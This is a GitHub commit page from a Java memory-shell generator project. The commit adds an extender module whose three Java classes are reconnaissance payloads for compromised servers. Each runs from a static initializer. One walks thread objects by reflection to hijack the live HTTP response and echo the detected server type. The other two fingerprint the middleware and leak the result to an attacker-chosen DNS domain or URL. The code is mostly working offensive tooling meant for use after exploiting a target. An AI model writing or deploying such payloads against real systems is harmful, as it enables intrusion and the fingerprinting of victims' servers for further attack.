Skip to content

Commit 5e4cc68

Browse files
committed
add: 扩展模块(探测中间件/序列化封装)
1 parent 315dcad commit 5e4cc68

File tree

8 files changed

+514
-1
lines changed

8 files changed

+514
-1
lines changed

jmg-extender/pom.xml

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
<parent>
7+
<groupId>jmg</groupId>
8+
<artifactId>java-memshell-generator</artifactId>
9+
<version>${project.build.version}</version>
10+
</parent>
11+
12+
<artifactId>jmg-extender</artifactId>
13+
14+
<properties>
15+
<maven.compiler.source>8</maven.compiler.source>
16+
<maven.compiler.target>8</maven.compiler.target>
17+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18+
</properties>
19+
<dependencies>
20+
<dependency>
21+
<groupId>jmg</groupId>
22+
<artifactId>jmg-core</artifactId>
23+
<version>${project.build.version}</version>
24+
<scope>compile</scope>
25+
</dependency>
26+
</dependencies>
27+
28+
</project>
Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
package jmg.extender.detector;
2+
3+
import java.io.PrintWriter;
4+
import java.lang.reflect.Field;
5+
import java.lang.reflect.Method;
6+
import java.util.HashSet;
7+
import java.util.Map;
8+
9+
public class DFSEchoDetector {
10+
static HashSet<Object> h;
11+
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
12+
static Class hsr;//HTTPServletRequest.class
13+
static Class hsp;//HTTPServletResponse.class
14+
static Object r;
15+
static Object p;
16+
17+
static {
18+
new DFSEchoDetector();
19+
}
20+
21+
private static String server_type = "none";
22+
23+
24+
public DFSEchoDetector() {
25+
initServerType();
26+
r = null;
27+
p = null;
28+
h =new HashSet<Object>();
29+
try {
30+
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
31+
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
32+
} catch (ClassNotFoundException e) {
33+
e.printStackTrace();
34+
}
35+
F(Thread.currentThread(),0);
36+
}
37+
38+
private static boolean i(Object obj){
39+
if(obj==null|| h.contains(obj)){
40+
return true;
41+
}
42+
43+
h.add(obj);
44+
return false;
45+
}
46+
private static void p(Object o, int depth){
47+
if(depth > 52||(r !=null&& p !=null)){
48+
return;
49+
}
50+
if(!i(o)){
51+
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
52+
r = o;
53+
//Tomcat特殊处理
54+
try {
55+
Method getResponse = r.getClass().getMethod("getResponse");
56+
p = getResponse.invoke(r);
57+
} catch (Exception e) {
58+
r=null;
59+
}
60+
61+
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
62+
p = o;
63+
}
64+
if(r !=null&& p !=null){
65+
try {
66+
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
67+
pw.println(server_type);
68+
pw.flush();
69+
pw.close();
70+
71+
}catch (Exception e){
72+
}
73+
return;
74+
}
75+
76+
F(o,depth+1);
77+
}
78+
}
79+
private static void F(Object start, int depth){
80+
81+
Class n=start.getClass();
82+
do{
83+
for (Field declaredField : n.getDeclaredFields()) {
84+
declaredField.setAccessible(true);
85+
Object o = null;
86+
try{
87+
o = declaredField.get(start);
88+
89+
if(!o.getClass().isArray()){
90+
p(o,depth);
91+
}else{
92+
for (Object q : (Object[]) o) {
93+
p(q, depth);
94+
}
95+
96+
}
97+
98+
}catch (Exception e){
99+
}
100+
}
101+
102+
}while(
103+
(n = n.getSuperclass())!=null
104+
);
105+
}
106+
107+
public static void initServerType() {
108+
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
109+
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
110+
StackTraceElement[] stackTraceElements = entry.getValue();
111+
for (StackTraceElement element : stackTraceElements) {
112+
if (element.getClassName().contains("org.apache.catalina.core")) {
113+
server_type = "tomcat";
114+
return;
115+
}
116+
if (element.getClassName().contains("weblogic.servlet.internal")) {
117+
server_type = "weblogic";
118+
return;
119+
}
120+
if (element.getClassName().contains("com.caucho.server")) {
121+
server_type = "resin";
122+
return;
123+
}
124+
if (element.getClassName().contains("org.eclipse.jetty.server")) {
125+
server_type = "jetty";
126+
return;
127+
}
128+
if (element.getClassName().contains("com.ibm.ws")) {
129+
server_type = "websphere";
130+
return;
131+
}
132+
if (element.getClassName().contains("io.undertow.server")) {
133+
server_type = "undertow";
134+
return;
135+
}
136+
if (element.getClassName().contains("com.tongweb.web")) {
137+
server_type = "tongweb";
138+
return;
139+
}
140+
if (element.getClassName().contains("com.apusic.web")) {
141+
server_type = "apusic";
142+
return;
143+
}
144+
if (element.getClassName().contains("org.springframework.web")) {
145+
server_type = "spring";
146+
return;
147+
}
148+
}
149+
}
150+
}
151+
}
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
package jmg.extender.detector;
2+
3+
import java.net.InetAddress;
4+
import java.net.UnknownHostException;
5+
import java.util.ArrayList;
6+
import java.util.Map;
7+
8+
public class DNSLogDetector {
9+
10+
static {
11+
new DNSLogDetector();
12+
}
13+
14+
public DNSLogDetector(){
15+
sendServerType();
16+
}
17+
18+
public static String getDomain(){
19+
return "";
20+
}
21+
22+
private static void sendServerType() {
23+
ArrayList<String> serverTypes = getServerType();
24+
String dns_domain = getDomain();
25+
String domain = "";
26+
try {
27+
for (int i = 0; i < serverTypes.size(); i++) {
28+
Object obj = serverTypes.get(i);
29+
domain = String.format("%s.%d.%s",obj,System.nanoTime(),dns_domain);
30+
InetAddress.getAllByName(domain);
31+
}
32+
} catch (UnknownHostException e) { }
33+
}
34+
35+
public static ArrayList<String> getServerType() {
36+
ArrayList<String> serverTypes = new ArrayList<>();
37+
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
38+
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
39+
StackTraceElement[] stackTraceElements = entry.getValue();
40+
for (StackTraceElement element : stackTraceElements) {
41+
if (element.getClassName().contains("org.apache.catalina.core")) {
42+
serverTypes.add("tomcat");
43+
}
44+
if (element.getClassName().contains("weblogic.servlet.internal")) {
45+
serverTypes.add("weblogic");
46+
}
47+
if (element.getClassName().contains("com.caucho.server")) {
48+
serverTypes.add("resin");
49+
}
50+
if (element.getClassName().contains("org.eclipse.jetty.server")) {
51+
serverTypes.add("jetty");
52+
}
53+
if (element.getClassName().contains("com.ibm.ws")) {
54+
serverTypes.add("websphere");
55+
}
56+
if (element.getClassName().contains("io.undertow.server")) {
57+
serverTypes.add("undertow");
58+
}
59+
if (element.getClassName().contains("com.tongweb.web")) {
60+
serverTypes.add("tongweb");
61+
}
62+
if (element.getClassName().contains("com.apusic.web")) {
63+
serverTypes.add("apusic");
64+
}
65+
if (element.getClassName().contains("org.springframework.web")) {
66+
serverTypes.add("spring");
67+
}
68+
}
69+
if (serverTypes.size() > 7){
70+
return serverTypes;
71+
}
72+
}
73+
74+
if(serverTypes.size() == 0){
75+
serverTypes.add("none");
76+
}
77+
78+
return serverTypes;
79+
}
80+
}
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
package jmg.extender.detector;
2+
3+
import java.io.IOException;
4+
import java.net.UnknownHostException;
5+
import java.util.ArrayList;
6+
import java.util.Map;
7+
8+
9+
public class HTTPLogDetector {
10+
11+
static {
12+
new HTTPLogDetector();
13+
}
14+
15+
16+
public HTTPLogDetector() {
17+
sendServerType();
18+
}
19+
20+
public static String getBaseURL() {
21+
return "";
22+
}
23+
24+
25+
private static void sendServerType() {
26+
ArrayList<String> serverTypes = getServerType();
27+
String baseurl = getBaseURL();
28+
try {
29+
for (int i = 0; i < serverTypes.size(); i++) {
30+
Object server_type = serverTypes.get(i);
31+
String tmpUrl = String.format("%s/%s", baseurl, server_type);
32+
new java.net.URL(tmpUrl).getContent();
33+
}
34+
} catch (UnknownHostException ignored) {
35+
} catch (IOException e) {
36+
throw new RuntimeException(e);
37+
}
38+
}
39+
40+
41+
public static ArrayList<String> getServerType() {
42+
ArrayList<String> serverTypes = new ArrayList<>();
43+
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
44+
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
45+
StackTraceElement[] stackTraceElements = entry.getValue();
46+
for (StackTraceElement element : stackTraceElements) {
47+
if (element.getClassName().contains("org.apache.catalina.core")) {
48+
serverTypes.add("tomcat");
49+
}
50+
if (element.getClassName().contains("weblogic.servlet.internal")) {
51+
serverTypes.add("weblogic");
52+
}
53+
if (element.getClassName().contains("com.caucho.server")) {
54+
serverTypes.add("resin");
55+
}
56+
if (element.getClassName().contains("org.eclipse.jetty.server")) {
57+
serverTypes.add("jetty");
58+
}
59+
if (element.getClassName().contains("com.ibm.ws")) {
60+
serverTypes.add("websphere");
61+
}
62+
if (element.getClassName().contains("io.undertow.server")) {
63+
serverTypes.add("undertow");
64+
}
65+
if (element.getClassName().contains("com.tongweb.web")) {
66+
serverTypes.add("tongweb");
67+
}
68+
if (element.getClassName().contains("com.apusic.web")) {
69+
serverTypes.add("apusic");
70+
}
71+
if (element.getClassName().contains("org.springframework.web")) {
72+
serverTypes.add("spring");
73+
}
74+
}
75+
if (serverTypes.size() > 7){
76+
return serverTypes;
77+
}
78+
}
79+
80+
if(serverTypes.size() == 0){
81+
serverTypes.add("none");
82+
}
83+
84+
return serverTypes;
85+
}
86+
}

0 commit comments

Comments
 (0)